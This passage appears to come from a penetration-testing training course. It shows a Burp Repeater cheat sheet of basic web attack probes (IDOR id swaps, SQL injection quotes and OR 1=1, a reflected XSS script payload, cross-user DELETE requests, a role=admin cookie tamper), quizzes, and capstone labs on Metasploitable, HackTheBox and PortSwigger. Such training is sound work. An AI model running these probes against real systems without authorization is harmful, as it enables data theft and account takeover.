# Original request (from Intercept → Send to Repeater):GET /user?id=5 HTTP/1.1Host: target.comCookie: session=abc123# ── TEST 1: IDOR (Insecure Direct Object Reference) ──────────GET /user?id=4 HTTP/1.1← change 5 to 4. Do you see another user's data?GET /user?id=1 HTTP/1.1← try id=1. Often admin account.# ── TEST 2: SQL Injection (basic) ─────────────────────────────GET /user?id=5' HTTP/1.1← single quote → MySQL error = SQLi vulnerableGET /user?id=5 OR 1=1 HTTP/1.1← always true → returns all records# ── TEST 3: XSS (reflected) ───────────────────────────────────GET /search?q=<script>alert(1)</script> HTTP/1.1# If the response contains your payload unescaped → XSS vulnerability# ── TEST 4: IDOR on DELETE ────────────────────────────────────DELETE /api/posts/47 HTTP/1.1DELETE /api/posts/1 HTTP/1.1← Can you delete someone else's post?# ── TEST 5: Auth bypass via cookie manipulation ───────────────Cookie: session=abc123; role=user← originalCookie: session=abc123; role=admin← modified. Does server trust client-side role?
// DAY 20 — QUIZ
In Burp Repeater, you change a request from GET /profile?user_id=1042 to GET /profile?user_id=1 and receive another user's full profile including their email, phone number, and address. What vulnerability is this, what OWASP category does it fall under, and what's the CVSS severity?
A SQL Injection — the database is returning wrong records
B Cross-Site Scripting (XSS) — the response contains unauthorized script content
C IDOR (Insecure Direct Object Reference) — OWASP A01 Broken Access Control — typically CVSS High (7.5+)
D Path Traversal — accessing files outside the intended directory
21
FULL LAB DAY + WEEK 3 CAPSTONE
LAB HackTheBox Starting Point · Full Enumeration · Week 3 Consolidation
WEEK 3 PROGRESS — COMPLETE ✓
🏆
Week 3 complete. You now have the full enumeration toolkit. Today you put it all together on real machines. No walkthroughs — apply the methodology you've built.
// 21.1 — WEEK 3 CONSOLIDATION TABLE
SKILL
WHAT YOU CAN NOW DO
TOOL
Nmap Mastery
Choose correct scan type per situation, write NSE scripts, read output and extract CVEs
Intercept and modify requests, use Repeater for manual testing, identify IDOR/SQLi/XSS
Burp Suite Community
// 21.2 — FINAL WEEK 3 QUIZ
You've just started a pentest. You run nmap and find port 8080 open with the response Jetty 9.4.31.v20200723. What is your COMPLETE next sequence of steps before attempting any exploitation?
A Immediately search "Jetty 9.4.31 exploit" on Google and run the first result
B Stop and notify the client — a running service on port 8080 might be production
C Research the Jetty version for CVEs, scan deeper for what app it hosts, enumerate directories on port 8080, check default credentials, THEN assess exploits
D Skip it — port 8080 is just a development server and unlikely to be interesting
// 21.3 — CAPSTONE LABS
LAB 1 — METASPLOITABLE FULL ENUMERATION (YOUR OWN LAB)
Run the complete nmap scan suite against 192.168.56.101. Document every finding with CVE numbers.
Run Gobuster against http://192.168.56.101. Find and access /dvwa, /phpMyAdmin, /mutillidae. What are they?
Run Nikto. How many findings? Which are Critical?
Use enum4linux to dump all users, shares, and password policy. Document the password policy — what makes it insecure?
Set up Burp Suite. Browse to DVWA through Burp. In the "SQL Injection" section, test id=1' and document the MySQL error message. What does it reveal about the database?
Write a 1-page enumeration report: target summary, open services, critical findings, prioritized recommendations.
LAB 2 — HACKTHEBOX STARTING POINT (ONLINE)
Create a free HackTheBox account at hackthebox.com
Complete "Dancing" — SMB share enumeration. Apply smbclient + flag retrieval from share.
Complete "Redeemer" — Redis enumeration. New service, same methodology: nmap → identify → enumerate → extract.
Document each machine: what did nmap find, what tool you used, and exactly what command got you the flag.
LAB 3 — PORTSWIGGER WEB ACADEMY (portswigger.net/web-security)
Free labs from the makers of Burp Suite — the best web security training online.
Complete: "SQL injection UNION attack, determining the number of columns"
Complete: "Reflected XSS into HTML context with nothing encoded"
Complete: "Insecure direct object references"
All use a browser-based environment — no setup needed. Use Burp alongside each lab.
// WEEK 4 PREVIEW
COMING NEXT — EXPLOITATION FUNDAMENTALS
Day 22 — Metasploit Framework
msfconsole full workflow
Exploit the vsftpd 2.3.4 backdoor you found this week
Meterpreter post-exploitation basics
Staged vs stageless payloads
Days 23–27 — Web Vulnerabilities
SQL injection — manual + sqlmap
XSS — reflected, stored, DOM-based
CSRF, SSRF, XXE deep dives
IDOR + broken access control
Password attacks: Hashcat + John
✅
Phase 2, Week 3 Readiness Check: Before moving to Week 4, confirm you can: (1) Build and explain any nmap command from memory, (2) Find hidden directories on a web server using Gobuster with the right wordlist, (3) Read a BloodHound graph and identify an attack path, (4) Set up Burp Suite proxy, intercept a login request, and send it to Repeater, (5) Identify at least 3 missing security headers from a curl response, (6) Complete all 4 HackTheBox Starting Point machines.